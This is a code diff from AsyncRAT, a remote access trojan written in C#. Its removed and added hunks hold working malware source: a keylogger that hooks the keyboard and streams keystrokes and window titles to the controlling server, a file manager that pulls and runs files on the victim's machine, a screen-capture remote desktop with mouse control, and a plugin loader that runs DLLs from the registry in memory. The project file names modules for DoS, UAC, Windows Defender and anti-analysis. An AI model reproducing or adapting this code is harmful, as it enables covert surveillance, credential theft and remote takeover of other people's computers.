<Compile Include="AForge\Video.DirectShow\PhysicalConnectorType.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Uuids.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\VideoCapabilities.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\VideoCaptureDevice.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\VideoInput.cs" />
|
||||
<Compile Include="AForge\Video\IVideoSource.cs" />
|
||||
<Compile Include="AForge\Video\VideoEvents.cs" />
|
||||
<Compile Include="Algorithm\Aes256.cs" />
|
||||
<Compile Include="Algorithm\Sha256.cs" />
|
||||
<Compile Include="Handle Packet\HandleBlankScreen.cs" />
|
||||
<Compile Include="Handle Packet\HandleBotKiller.cs" />
|
||||
<Compile Include="Handle Packet\HandleDos.cs" />
|
||||
<Compile Include="Handle Packet\HandleFileManager.cs" />
|
||||
<Compile Include="Handle Packet\HandleRemoteDesktop.cs" />
|
||||
<Compile Include="Handle Packet\HandlePlugin.cs" />
|
||||
<Compile Include="Handle Packet\HandlerExecuteDotNetCode.cs" />
|
||||
<Compile Include="Handle Packet\HandleThumbnails.cs" />
|
||||
<Compile Include="Handle Packet\HandlePcOptions.cs" />
|
||||
<Compile Include="Handle Packet\HandlerChat.cs" />
|
||||
<Compile Include="Handle Packet\HandleReportWindow.cs" />
|
||||
<Compile Include="Handle Packet\HandlerRecovery.cs" />
|
||||
<Compile Include="Handle Packet\HandleShell.cs" />
|
||||
<Compile Include="Handle Packet\HandleTorrent.cs" />
|
||||
<Compile Include="Handle Packet\HandleUAC.cs" />
|
||||
<Compile Include="Handle Packet\HandleUninstall.cs" />
|
||||
<Compile Include="Handle Packet\HandleWebcam.cs" />
|
||||
<Compile Include="Handle Packet\HandleWindowsDefender.cs" />
|
||||
<Compile Include="Handle Packet\Packet.cs" />
|
||||
<Compile Include="Handle Packet\HandleLimeLogger.cs" />
|
||||
<Compile Include="Handle Packet\HandleProcessManager.cs" />
|
||||
<Compile Include="Handle Packet\HandleSendTo.cs" />
|
||||
<Compile Include="Handle Packet\HandleLimeUSB.cs" />
|
||||
<Compile Include="Helper\Anti_Analysis.cs" />
|
||||
<Compile Include="Helper\FormChat.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Helper\FormChat.Designer.cs">
|
||||
<DependentUpon>FormChat.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Helper\RegistryDB.cs" />
|
||||
<Compile Include="Helper\Methods.cs" />
|
||||
<Compile Include="Helper\ProcessCritical.cs" />
|
||||
<Compile Include="Install\NormalStartup.cs" />
|
||||
@ -149,13 +107,6 @@
|
||||
<Compile Include="Settings.cs" />
|
||||
<Compile Include="Connection\ClientSocket.cs" />
|
||||
<Compile Include="Connection\TempSocket.cs" />
|
||||
<Compile Include="StreamLibrary\Enums.cs" />
|
||||
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
|
||||
<Compile Include="StreamLibrary\IVideoCodec.cs" />
|
||||
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="app.config" />
|
||||
@ -167,10 +118,5 @@
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Helper\FormChat.resx">
|
||||
<DependentUpon>FormChat.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
@ -1,310 +0,0 @@
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Diagnostics;
|
||||
using System.Net.Sockets;
|
||||
using System.Security.Authentication;
|
||||
using System.Net.Security;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Threading;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class FileManager
|
||||
{
|
||||
public FileManager(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
||||
{
|
||||
case "getDrivers":
|
||||
{
|
||||
GetDrivers();
|
||||
break;
|
||||
}
|
||||
|
||||
case "getPath":
|
||||
{
|
||||
GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "uploadFile":
|
||||
{
|
||||
string fullPath = unpack_msgpack.ForcePathObject("Name").AsString;
|
||||
if (File.Exists(fullPath))
|
||||
{
|
||||
File.Delete(fullPath);
|
||||
Thread.Sleep(500);
|
||||
}
|
||||
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
|
||||
break;
|
||||
}
|
||||
|
||||
case "reqUploadFile":
|
||||
{
|
||||
ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString); ;
|
||||
break;
|
||||
}
|
||||
|
||||
case "socketDownload":
|
||||
{
|
||||
DownnloadFile(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("DWID").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "deleteFile":
|
||||
{
|
||||
string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
File.Delete(fullPath);
|
||||
break;
|
||||
}
|
||||
|
||||
case "execute":
|
||||
{
|
||||
string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
Process.Start(fullPath);
|
||||
break;
|
||||
}
|
||||
|
||||
case "createFolder":
|
||||
{
|
||||
string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString;
|
||||
if (!Directory.Exists(fullPath)) Directory.CreateDirectory(fullPath);
|
||||
break;
|
||||
}
|
||||
|
||||
case "deleteFolder":
|
||||
{
|
||||
string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString;
|
||||
if (Directory.Exists(fullPath)) Directory.Delete(fullPath);
|
||||
break;
|
||||
}
|
||||
|
||||
case "copyFile":
|
||||
{
|
||||
Packet.FileCopy = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
break;
|
||||
}
|
||||
|
||||
case "pasteFile":
|
||||
{
|
||||
string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
if (fullPath.Length > 0)
|
||||
{
|
||||
string[] filesArray = Packet.FileCopy.Split(new[] { "-=>" }, StringSplitOptions.None);
|
||||
for (int i = 0; i < filesArray.Length; i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (filesArray[i].Length > 0)
|
||||
{
|
||||
File.Copy(filesArray[i], Path.Combine(fullPath, Path.GetFileName(filesArray[i])), true);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Error(ex.Message);
|
||||
}
|
||||
}
|
||||
Packet.FileCopy = null;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "renameFile":
|
||||
{
|
||||
File.Move(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("NewName").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "renameFolder":
|
||||
{
|
||||
Directory.Move(unpack_msgpack.ForcePathObject("Folder").AsString, unpack_msgpack.ForcePathObject("NewName").AsString);
|
||||
break; ;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public void GetDrivers()
|
||||
{
|
||||
try
|
||||
{
|
||||
DriveInfo[] allDrives = DriveInfo.GetDrives();
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||
StringBuilder sbDriver = new StringBuilder();
|
||||
foreach (DriveInfo d in allDrives)
|
||||
{
|
||||
if (d.IsReady)
|
||||
{
|
||||
sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
|
||||
}
|
||||
msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public void GetPath(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
Debug.WriteLine($"Getting [{path}]");
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getPath";
|
||||
StringBuilder sbFolder = new StringBuilder();
|
||||
StringBuilder sbFile = new StringBuilder();
|
||||
|
||||
if (path == "DESKTOP") path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
|
||||
if (path == "APPDATA") path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "AppData");
|
||||
if (path == "USER") path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
|
||||
|
||||
foreach (string folder in Directory.GetDirectories(path))
|
||||
{
|
||||
sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>");
|
||||
}
|
||||
foreach (string file in Directory.GetFiles(path))
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
GetIcon(file.ToLower()).Save(ms, ImageFormat.Png);
|
||||
sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + new FileInfo(file).Length.ToString() + "-=>");
|
||||
}
|
||||
}
|
||||
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
|
||||
msgpack.ForcePathObject("File").AsString = sbFile.ToString();
|
||||
msgpack.ForcePathObject("CurrentPath").AsString = path.ToString();
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private Bitmap GetIcon(string file)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp"))
|
||||
{
|
||||
using (Bitmap myBitmap = new Bitmap(file))
|
||||
{
|
||||
return new Bitmap(myBitmap.GetThumbnailImage(48, 48, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero));
|
||||
}
|
||||
}
|
||||
else
|
||||
using (Icon icon = Icon.ExtractAssociatedIcon(file))
|
||||
{
|
||||
return icon.ToBitmap();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return new Bitmap(48, 48);
|
||||
}
|
||||
}
|
||||
|
||||
public void DownnloadFile(string file, string dwid)
|
||||
{
|
||||
TempSocket tempSocket = new TempSocket();
|
||||
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "socketDownload";
|
||||
msgpack.ForcePathObject("Command").AsString = "pre";
|
||||
msgpack.ForcePathObject("DWID").AsString = dwid;
|
||||
msgpack.ForcePathObject("File").AsString = file;
|
||||
msgpack.ForcePathObject("Size").AsString = new FileInfo(file).Length.ToString();
|
||||
tempSocket.Send(msgpack.Encode2Bytes());
|
||||
|
||||
|
||||
MsgPack msgpack2 = new MsgPack();
|
||||
msgpack2.ForcePathObject("Packet").AsString = "socketDownload";
|
||||
msgpack2.ForcePathObject("Command").AsString = "save";
|
||||
msgpack2.ForcePathObject("DWID").AsString = dwid;
|
||||
msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file);
|
||||
msgpack2.ForcePathObject("File").LoadFileAsBytes(file);
|
||||
tempSocket.Send(msgpack2.Encode2Bytes());
|
||||
tempSocket.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
tempSocket?.Dispose();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
//private void ChunkSend(byte[] msg, Socket client, SslStream ssl)
|
||||
//{
|
||||
// try
|
||||
// {
|
||||
// byte[] buffersize = BitConverter.GetBytes(msg.Length);
|
||||
// client.Poll(-1, SelectMode.SelectWrite);
|
||||
// ssl.Write(buffersize);
|
||||
// ssl.Flush();
|
||||
|
||||
// int chunkSize = 50 * 1024;
|
||||
// byte[] chunk = new byte[chunkSize];
|
||||
// using (MemoryStream buffereReader = new MemoryStream(msg))
|
||||
// {
|
||||
// BinaryReader binaryReader = new BinaryReader(buffereReader);
|
||||
// int bytesToRead = (int)buffereReader.Length;
|
||||
// do
|
||||
// {
|
||||
// chunk = binaryReader.ReadBytes(chunkSize);
|
||||
// bytesToRead -= chunkSize;
|
||||
// ssl.Write(chunk);
|
||||
// ssl.Flush();
|
||||
// } while (bytesToRead > 0);
|
||||
|
||||
// binaryReader.Dispose();
|
||||
// }
|
||||
// }
|
||||
// catch { return; }
|
||||
//}
|
||||
|
||||
public void ReqUpload(string id)
|
||||
{
|
||||
try
|
||||
{
|
||||
TempSocket tempSocket = new TempSocket();
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "reqUploadFile";
|
||||
msgpack.ForcePathObject("ID").AsString = id;
|
||||
tempSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch { return; }
|
||||
}
|
||||
|
||||
public void Error(string ex)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "error";
|
||||
msgpack.ForcePathObject("Message").AsString = ex;
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
@ -1,200 +0,0 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
using Client.MessagePack;
|
||||
using System.Threading;
|
||||
using Client.Connection;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
// │ Author : NYAN CAT
|
||||
// │ Name : LimeLogger v0.1
|
||||
// │ Contact : https://github.com/NYAN-x-CAT
|
||||
|
||||
// This program is distributed for educational purposes only.
|
||||
|
||||
public static class HandleLimeLogger
|
||||
{
|
||||
public static bool isON = false;
|
||||
public static void Run()
|
||||
{
|
||||
_hookID = SetHook(_proc);
|
||||
new Thread(() =>
|
||||
{
|
||||
while (ClientSocket.IsConnected)
|
||||
{
|
||||
Thread.Sleep(10);
|
||||
if (isON == false)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
UnhookWindowsHookEx(_hookID);
|
||||
CurrentActiveWindowTitle = "";
|
||||
Application.Exit();
|
||||
}).Start();
|
||||
Application.Run();
|
||||
}
|
||||
|
||||
private static IntPtr SetHook(LowLevelKeyboardProc proc)
|
||||
{
|
||||
using (Process curProcess = Process.GetCurrentProcess())
|
||||
using (ProcessModule curModule = curProcess.MainModule)
|
||||
{
|
||||
return SetWindowsHookEx(WHKEYBOARDLL, proc,
|
||||
GetModuleHandle(curModule.ModuleName), 0);
|
||||
}
|
||||
}
|
||||
|
||||
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
|
||||
{
|
||||
int vkCode = Marshal.ReadInt32(lParam);
|
||||
bool capsLock = (GetKeyState(0x14) & 0xffff) != 0;
|
||||
bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;
|
||||
string currentKey = KeyboardLayout((uint)vkCode);
|
||||
|
||||
if (capsLock || shiftPress)
|
||||
{
|
||||
currentKey = currentKey.ToUpper();
|
||||
}
|
||||
else
|
||||
{
|
||||
currentKey = currentKey.ToLower();
|
||||
}
|
||||
|
||||
if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)
|
||||
currentKey = "[" + (Keys)vkCode + "]";
|
||||
|
||||
else
|
||||
{
|
||||
switch (((Keys)vkCode).ToString())
|
||||
{
|
||||
case "Space":
|
||||
currentKey = " ";
|
||||
break;
|
||||
case "Return":
|
||||
currentKey = "[ENTER]\n";
|
||||
break;
|
||||
case "Escape":
|
||||
currentKey = "";
|
||||
break;
|
||||
case "Back":
|
||||
currentKey = "[Back]";
|
||||
break;
|
||||
case "Tab":
|
||||
currentKey = "[Tab]\n";
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (CurrentActiveWindowTitle == GetActiveWindowTitle())
|
||||
{
|
||||
sb.Append(currentKey);
|
||||
}
|
||||
else
|
||||
{
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append($"### {GetActiveWindowTitle()} ###");
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append(currentKey);
|
||||
}
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
msgpack.ForcePathObject("log").AsString = sb.ToString();
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
return CallNextHookEx(_hookID, nCode, wParam, lParam);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
|
||||
private static string KeyboardLayout(uint vkCode)
|
||||
{
|
||||
try
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
byte[] vkBuffer = new byte[256];
|
||||
if (!GetKeyboardState(vkBuffer)) return "";
|
||||
uint scanCode = MapVirtualKey(vkCode, 0);
|
||||
IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId));
|
||||
ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout);
|
||||
return sb.ToString();
|
||||
}
|
||||
catch { }
|
||||
return ((Keys)vkCode).ToString();
|
||||
}
|
||||
|
||||
private static string GetActiveWindowTitle()
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr hwnd = GetForegroundWindow();
|
||||
GetWindowThreadProcessId(hwnd, out uint pid);
|
||||
Process p = Process.GetProcessById((int)pid);
|
||||
string title = p.MainWindowTitle;
|
||||
if (string.IsNullOrWhiteSpace(title))
|
||||
title = p.ProcessName;
|
||||
CurrentActiveWindowTitle = title;
|
||||
return title;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return "???";
|
||||
}
|
||||
}
|
||||
|
||||
#region "Hooks & Native Methods"
|
||||
|
||||
private const int WM_KEYDOWN = 0x0100;
|
||||
private static readonly LowLevelKeyboardProc _proc = HookCallback;
|
||||
private static IntPtr _hookID = IntPtr.Zero;
|
||||
private static readonly int WHKEYBOARDLL = 13;
|
||||
private static string CurrentActiveWindowTitle;
|
||||
|
||||
|
||||
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
static extern IntPtr GetForegroundWindow();
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
|
||||
public static extern short GetKeyState(int keyCode);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
static extern bool GetKeyboardState(byte[] lpKeyState);
|
||||
[DllImport("user32.dll")]
|
||||
static extern IntPtr GetKeyboardLayout(uint idThread);
|
||||
[DllImport("user32.dll")]
|
||||
static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
|
||||
[DllImport("user32.dll")]
|
||||
static extern uint MapVirtualKey(uint uCode, uint uMapType);
|
||||
|
||||
#endregion
|
||||
|
||||
}
|
||||
}
|
85
AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs
Normal file
85
AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs
Normal file
@ -0,0 +1,85 @@
|
||||
using Client.Connection;
|
||||
using Client.Helper;
|
||||
using Client.MessagePack;
|
||||
using Microsoft.VisualBasic;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandlePlugin
|
||||
{
|
||||
public HandlePlugin(MsgPack unpack_msgpack)
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
||||
{
|
||||
case "invoke":
|
||||
{
|
||||
string hash = unpack_msgpack.ForcePathObject("Hash").AsString;
|
||||
if (RegistryDB.GetValue(hash) != null)
|
||||
{
|
||||
Debug.WriteLine("Found: " + hash);
|
||||
Invoke(hash);
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine("Not Found: " + hash);
|
||||
Request(unpack_msgpack.ForcePathObject("Hash").AsString); ;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "install":
|
||||
{
|
||||
string hash = unpack_msgpack.ForcePathObject("Hash").AsString;
|
||||
RegistryDB.SetValue(hash, unpack_msgpack.ForcePathObject("Dll").AsString);
|
||||
Invoke(hash);
|
||||
Debug.WriteLine("Installed: " + hash);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public void Request(string hash)
|
||||
{
|
||||
MsgPack msgPack = new MsgPack();
|
||||
msgPack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgPack.ForcePathObject("Hash").AsString = hash;
|
||||
ClientSocket.Send(msgPack.Encode2Bytes());
|
||||
}
|
||||
|
||||
public void Invoke(string hash)
|
||||
{
|
||||
new Thread(delegate ()
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgPack = new MsgPack();
|
||||
#if DEBUG
|
||||
msgPack.ForcePathObject("Certificate").AsString = Settings.Certificate;
|
||||
#else
|
||||
msgPack.ForcePathObject("Certificate").AsString = Settings.aes256.Decrypt(Settings.Certificate);
|
||||
#endif
|
||||
msgPack.ForcePathObject("Host").AsString = ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[0];
|
||||
msgPack.ForcePathObject("Port").AsString = ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[1];
|
||||
|
||||
Assembly loader = Assembly.Load(Convert.FromBase64String(Strings.StrReverse(RegistryDB.GetValue(hash))));
|
||||
MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize");
|
||||
Debug.WriteLine("Invoked");
|
||||
meth.Invoke(null, new object[] { msgPack.Encode2Bytes() });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
})
|
||||
{ IsBackground = true }.Start();
|
||||
}
|
||||
}
|
||||
}
|
@ -1,116 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
using System.Runtime.InteropServices;
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using Client.StreamLibrary.UnsafeCodecs;
|
||||
using Client.Helper;
|
||||
using Client.StreamLibrary;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleRemoteDesktop
|
||||
{
|
||||
public HandleRemoteDesktop(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
||||
{
|
||||
case "capture":
|
||||
{
|
||||
CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
|
||||
break;
|
||||
}
|
||||
|
||||
case "mouseClick":
|
||||
{
|
||||
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||
Cursor.Position = position;
|
||||
mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
|
||||
break;
|
||||
}
|
||||
|
||||
case "mouseMove":
|
||||
{
|
||||
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||
Cursor.Position = position;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
public void CaptureAndSend(int quality, int Scrn)
|
||||
{
|
||||
TempSocket tempSocket = new TempSocket();
|
||||
string hwid = Methods.HWID();
|
||||
Bitmap bmp = null;
|
||||
BitmapData bmpData = null;
|
||||
Rectangle rect;
|
||||
Size size;
|
||||
MsgPack msgpack;
|
||||
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
|
||||
MemoryStream stream;
|
||||
while (tempSocket.IsConnected && ClientSocket.IsConnected)
|
||||
{
|
||||
try
|
||||
{
|
||||
bmp = GetScreen(Scrn);
|
||||
rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
|
||||
size = new Size(bmp.Width, bmp.Height);
|
||||
bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
|
||||
|
||||
using (stream = new MemoryStream())
|
||||
{
|
||||
unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);
|
||||
|
||||
if (stream.Length > 0)
|
||||
{
|
||||
msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("ID").AsString = hwid;
|
||||
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
|
||||
msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length);
|
||||
tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length));
|
||||
tempSocket.SslClient.Write(msgpack.Encode2Bytes());
|
||||
tempSocket.SslClient.Flush();
|
||||
}
|
||||
}
|
||||
bmp.UnlockBits(bmpData);
|
||||
bmp.Dispose();
|
||||
}
|
||||
catch { break; }
|
||||
}
|
||||
try
|
||||
{
|
||||
bmp?.UnlockBits(bmpData);
|
||||
bmp?.Dispose();
|
||||
tempSocket?.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private Bitmap GetScreen(int Scrn)
|
||||
{
|
||||
Rectangle rect = Screen.AllScreens[Scrn].Bounds;
|
||||
try
|
||||
{
|
||||
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
|
||||
using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot))
|
||||
{
|
||||
gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
|
||||
return bmpScreenshot;
|
||||
}
|
||||
}
|
||||
catch { return new Bitmap(rect.Width, rect.Height); }
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo);
|
||||
}
|
||||
}
|
@ -35,6 +35,13 @@ namespace Client.Handle_Packet
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
RegistryDB.DeleteSubKey();
|
||||
}
|
||||
catch { }
|
||||
|
||||
ProcessStartInfo Del = null;
|
||||
try
|
||||
{
|
||||
|
@ -1,213 +0,0 @@
|
||||
using AForge.Video;
|
||||
using AForge.Video.DirectShow;
|
||||
using Client.Connection;
|
||||
using Client.Helper;
|
||||
using Client.MessagePack;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
